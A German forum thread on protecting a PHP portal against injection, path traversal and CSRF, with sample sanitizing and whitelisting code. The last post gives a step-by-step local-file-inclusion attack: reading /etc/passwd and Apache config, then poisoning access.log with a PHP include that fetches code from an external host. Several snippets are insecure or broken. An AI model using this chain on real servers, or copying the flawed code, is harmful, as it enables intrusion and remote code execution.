PHP Website effektiv gegen Angriffe schützen

Hallo,
ich programmiere zur Zeit ein Userportal.
In dem Portal können sich User anmelden, Texte posten, Links einfügen, Bilder/Avatare online stellen.

Zur Zeit nutze ich dieses Script um mich zu schützen
PHP:
function Sichern($String)
	{
	return nl2br(strip_tags(mysql_real_escape_string(trim(stripslashes($String)))));
	}
function SQL_Injektion()
	{
	foreach($_GET as $get => $value)
		{
		$_GET[$get] = Sichern($value);
		}
	foreach($_POST as $post => $value)
		{
		$_POST[$post] = Sichern($value);
		}
	}
SQL_Injektion();

Ist das erstmal ein (sinnvoller) Standardschutz gegen übliche Injektionen mit Veränderung des URL Pfades bzw. der Eingabe von Benutzernamen o.ä.?

Was gibt es sonst noch zu beachten?


Das Includen der Inhaltsdateien läuft über diese 3 Zeilen:
PHP:
//$do = $_GET['do'].$_POST['do'];
if (file_exists("includes/$do.php"))
include ("includes/$do.php");
else include ("include/start.php");

Oder ist das Crap weil keine Überprüfung stattfindet, ob das erste Zeichen von $do ein "." oder "/" ist?
Bzw. Alternativ gefragt: Was kann passieren wenn ich diese Includes so nutze? Es können ja nur Dateien vom eingenen Server includet werden und kein fremder Inhalt...

Was gibt es sonst noch für Tips?
Wie sieht das mit Cookieinjektionen aus? Sollte man die o.g. Injektionsfunktion noch auf Cookies ausweiten?

Besten Dank,
jRothkegel
 
Bei includes prüfe vorher ob kein ".." im Dateipfad vorkommt.
sonst kann man Dateien von was weiß ich woher einbinden.

Desweiteren kann man nie paranoid genug sein.
Prüfe alles was von außen kommt, bevor du es irgendwo anders verwendest, sonst übersiehst du ganz schnell mal eine Sicherheitslücke.

MFG - Keks :)
 
Was mich in dem Bereich sowieso interessieren würde:
Zum Beispiel bei Joomla heisst es man sollte den Adminbereich zusätzlich mit einer htaccess schützen, weil der login nicht sicher sein. Wie sollte man denn schon anders in den admin bereich kommen ohne das man die url verändert denn ich denke mal dass man darüber nicht den login knacken kann?
 
Original von HighTec
Was mich in dem Bereich sowieso interessieren würde:
Zum Beispiel bei Joomla heisst es man sollte den Adminbereich zusätzlich mit einer htaccess schützen, weil der login nicht sicher sein. Wie sollte man denn schon anders in den admin bereich kommen ohne das man die url verändert denn ich denke mal dass man darüber nicht den login knacken kann.

hä? htaccess != pfad ändern

wenn du den pfad zu deiner admin änders kann evtl fehler im script auftreten oder spätestens wenn man durch dummen zufall die log files sieht die admin wider rausbekommen (ich denk so an webalizer....)
 
ergänzend zu meinem ersten post würde ich dir eventuell zu einer whitelisting methode bei den includes raten, sprich du "sammelst" erst alle verfügbaren module und vergleichst dann die übergebene variable mit den vorhandenen module.

( gerade kein Plan wie man in PHP Ordner-Inhalte ausließt )

PHP:
  $MODULE = array( sammle_alle_dateinamen_im_modulverzeichnis );

  if( isset $_GET['do'] ){
    $do = $_GET['do'];
  }elseif( isset $_POST['do'] ){
     $do = $_POST['do'];
  }

  $gefunden = 0;
  foreach( $MODULE as $modul ){
    if( $modul == "$do.php" ){
      $gefunden = 1;
      include( "include/$do.php" );
      break;
    }
  }
  if( not $gefunden ){
    include( "include/start.php" );
  }
 
Original von keksinat0r
ergänzend zu meinem ersten post würde ich dir eventuell zu einer whitelisting methode bei den includes raten, sprich du "sammelst" erst alle verfügbaren module und vergleichst dann die übergebene variable mit den vorhandenen module.

( gerade kein Plan wie man in PHP Ordner-Inhalte ausließt )

PHP:
  $MODULE = array( sammle_alle_dateinamen_im_modulverzeichnis );

  if( isset $_GET['do'] ){
    $do = $_GET['do'];
  }elseif( isset $_POST['do'] ){
     $do = $_POST['do'];
  }

  $gefunden = 0;
  foreach( $MODULE as $modul ){
    if( $modul == "$do.php" ){
      $gefunden = 1;
      include( "include/$do.php" );
      break;
    }
  }
  if( not $gefunden ){
    include( "include/start.php" );
  }

Das ist eine gute Idee.

PHP:
<?php
    function getFiles($dir)
    {
        $handle = opendir($dir);
        if(!$handle)
               return 0;
        $files = array();
        while(false !== ($file = readdir($handle))
        {
             $files[] = $file;
         }
        return $files;
     }
     $module_dir = ".../mudule";
     $files = getFiles($module_dir);
     if(isset($_GET["do"]) && in_array($_GET["do"].".php", $files)
    {
         require($_GET["do"].".php");
     }
?>
 
Haben wir sowas nicht schon?

Ich frage mich immer wieder warum das mit den Inkludieren von Seiten so kompliziert gemacht wird.

Ein einfaches 'switchcase' löst das ganze Problem doch ziemlich einfach und übersichtlich.
 
Dann muss aber jedesmal wen man ein modul hinzufügt, ein fall in das switch einegfügt werden.
Dh whiteliste ich die erlaubten Module einfach :)

MFG - Keks :)
 
Original von keksinat0r
Dann muss aber jedesmal wen man ein modul hinzufügt, ein fall in das switch einegfügt werden.
Dh whiteliste ich die erlaubten Module einfach :)

MFG - Keks :)

Richtig und ist sicherer als irgend ein hin und her gemurkse, und mal ehrlich eine Zeile dazuschreiben ist nicht wirklich das Problem. ;)
 
Original von keksinat0r
ergänzend zu meinem ersten post würde ich dir eventuell zu einer whitelisting methode bei den includes raten, sprich du "sammelst" erst alle verfügbaren module und vergleichst dann die übergebene variable mit den vorhandenen module.
Solange sich die "Module" im gleichen Verzeichnis befinden ist das unnötiger Overhead, da ein einfaches file_exists() das gleiche rausfindet. Sicherzustellen ist nur, dass alles, was irgendwann mal in eine Pfadangabe wandert, von Steuerzeichen und Verzeichniswechseln ('../') befreit wird.

BTW, statt einzeln in $_POST und $_GET zu wursteln könnte man ggf. auch gleich auf $_REQUEST zurückgreifen.
 
Besten Dank für die Anregungen.
Ich denke mal ich werde endweder eine Whitelist machen oder die Steuerzeichen rausfiltern.

Das mit den einzelnen Switchanweisungen fällt für mich prinzipiell flach, da ich an einer "universellen" Lösung arbeite dich ich für mehrere Websites verwenden kann, ohne viele Änderungen machen zu müssen (Und da eine Website z.T. aus sehr sehr vielen Dateien bestehen kann ist mir das zuviel arbeit - ich bin halt faul ;) )

Schöne Woche noch,
jRothkegel
 
Original von keksinat0r
Bei includes prüfe vorher ob kein ".." im Dateipfad vorkommt.
sonst kann man Dateien von was weiß ich woher einbinden.

Was ist an dem ".." den so gefährlich? Wenn ich " include ("../blub.php"); " angebe, holt er sich doch nur die blub.php Datei aus dem Verzeichnis, dass genau um eins höher in der Hierarchie liegt. Das ist doch eine ganz genaue Zielangabe.
 
Original von LX
BTW, statt einzeln in $_POST und $_GET zu wursteln könnte man ggf. auch gleich auf $_REQUEST zurückgreifen.

Das kann aber evtl. auch wieder eine Sicherheitslücke öffnen, da dann sämtliche Aktionen auch per GET möglich sind. Wenn das "Opfer" also auf der Seite eingeloggt ist, kann der "Angreifer" ihn ein Bild oder einen Link laden lassen, um so beispielsweise Admin-Aktionen, Profil/Passwort-Änderungen oder ähnliche unangenehme Dinge unter einer fremden Benutzerkennung durchführen zu lassen.

Ein einfaches <img src="http://anysite.xx/post.php?content=xxx"> würde dann beispielsweise reichen, um einen GB-Eintrag erstellen zu lassen, ohne dass der User das verhindern kann oder merkt.

Original von BigDevil
Was ist an dem ".." den so gefährlich? Wenn ich " include ("../blub.php"); " angebe, holt er sich doch nur die blub.php Datei aus dem Verzeichnis, dass genau um eins höher in der Hierarchie liegt. Das ist doch eine ganz genaue Zielangabe.
Was sagst du denn zu sowas: include("../admin/passwords.db");?
Es wird ganz einfach dadurch möglich, auf sämtliche Dateien lesend zuzugreifen, auf die der Webserver Zugriff hat. Wenn er schlecht (SEHR schlecht) konfiguriert ist, läuft er unter root-Kennung. Das kommt häufiger vor als man denkt.
 
Original von LX
Solange sich die "Module" im gleichen Verzeichnis befinden ist das unnötiger Overhead, da ein einfaches file_exists() das gleiche rausfindet. Sicherzustellen ist nur, dass alles, was irgendwann mal in eine Pfadangabe wandert, von Steuerzeichen und Verzeichniswechseln ('../') befreit wird.
Mit einer Whitelist kann man aber viel mehr machen, man kann sie während der Erstellung zB durch eine Regex jagen, sprich man kann sie leicht filtern.
Man erstellt einmal eine Whitelist und kann im Laufe des Scripts immer wieder darauf zugreifen, dh es gibt nur einmal eine Abfrage welche Dateien in den Modul-Verzeichnissen existieren.
Zudem kann man eine Whitelist zB auch in einem geschützten Verzeichnis (read-only) ablegen und die erlaubten Module darin fest vorgeben.
Das ist einfacher als immer im Script rumzuwurschteln.
Zudem ist es so zB einfacher ein Installer-Script für Module zu schreiben, da die einfach ihre Module an eine Whitelist anghängen, etc...
Fazit: Whitelisting hat den gleichen Effekt, ist aber vielfäliger und oft einfacher einsetzbar :)

Original von LXBTW, statt einzeln in $_POST und $_GET zu wursteln könnte man ggf. auch gleich auf $_REQUEST zurückgreifen.
Stimmt.
Wie gesagt, habe schon lange nixmehr in PHP geschrieben ...

MFG - Keks :)
 
@BigDevil:
Naja, k.A. ob das jetzt stimmt, aber folgendes könnte ich mir vorstellen:

- Du erlaubst den Uppload von z.b. txts in einen Ordner
- Nun kann man mit ../ das Verzeichnis wechseln und so zum Uppload Ordner kommen, und dort seine txt includen... in der dann PHP Befehle stehen

Nur mal so ne Idee... :)
 
@isnull: jepp, so wie du dir das vorstellst, funktioniert es auch.

ein weiteres Beispiel - wenn du kein Upload zur Verfügung hast:
du hast eine URL im Format www.domain.de/?seite=main.html (kommt häufig vor, nach sowas kann man leicht googeln...)
auf dieser Seite wird ein einfaches include $_GET["seite"]; ausgeführt...

jetzt kannst du mit ?seite=/etc/passwd mal schauen, ob du die nötigen Rechte hast.
Manche Coder sind so superschlau und verwenden include "./".$_GET["seite"]; - dann bekommst du halt ne Fehlermeldung mit Angabe der Datei, wo der Fehler passiert ist, zählst ab, wieviele ../ du brauchst und versuchst das ganze nochmal....

jetzt kannst du, wenn du eine solche Möglichkeit gefunden hast, mal die Header überprüfen, was für ein Webserver installiert ist.
Nehmen wir an, es ist apache2 - dann manipulierst du die URL eben so: ...../?seite=/etc/apache2/apache2.conf (und danach noch mit ein wenig Erfahrung und ReverseEngineering probieren, was in sites-enabled so an Host-Config-Dateien drin ist)

irgendwo bekommst du dann raus, wo die access.log gespeichert ist.
In der access.log wird jeder Seitenaufruf gespeichert.

also wirst du als nächsten URL-Aufruf einen möglichst simplen PHP-Code einbringen (z.b. ein <?include(http://www.externeseite.de/code.txt)?> - wenn der Server schlecht genug geschützt ist, solltest du damit beliebigen Code, den du in der code.txt speicherst, ausführen können)

Zum Schluss musst du nun nur noch deine access.log, in der nun der PHP-Code steht, includen und fertig.


Es ist erstaunlich, sogar erschreckend, wieviele Seiten schlecht geschützt sind....
 
Zurück
Oben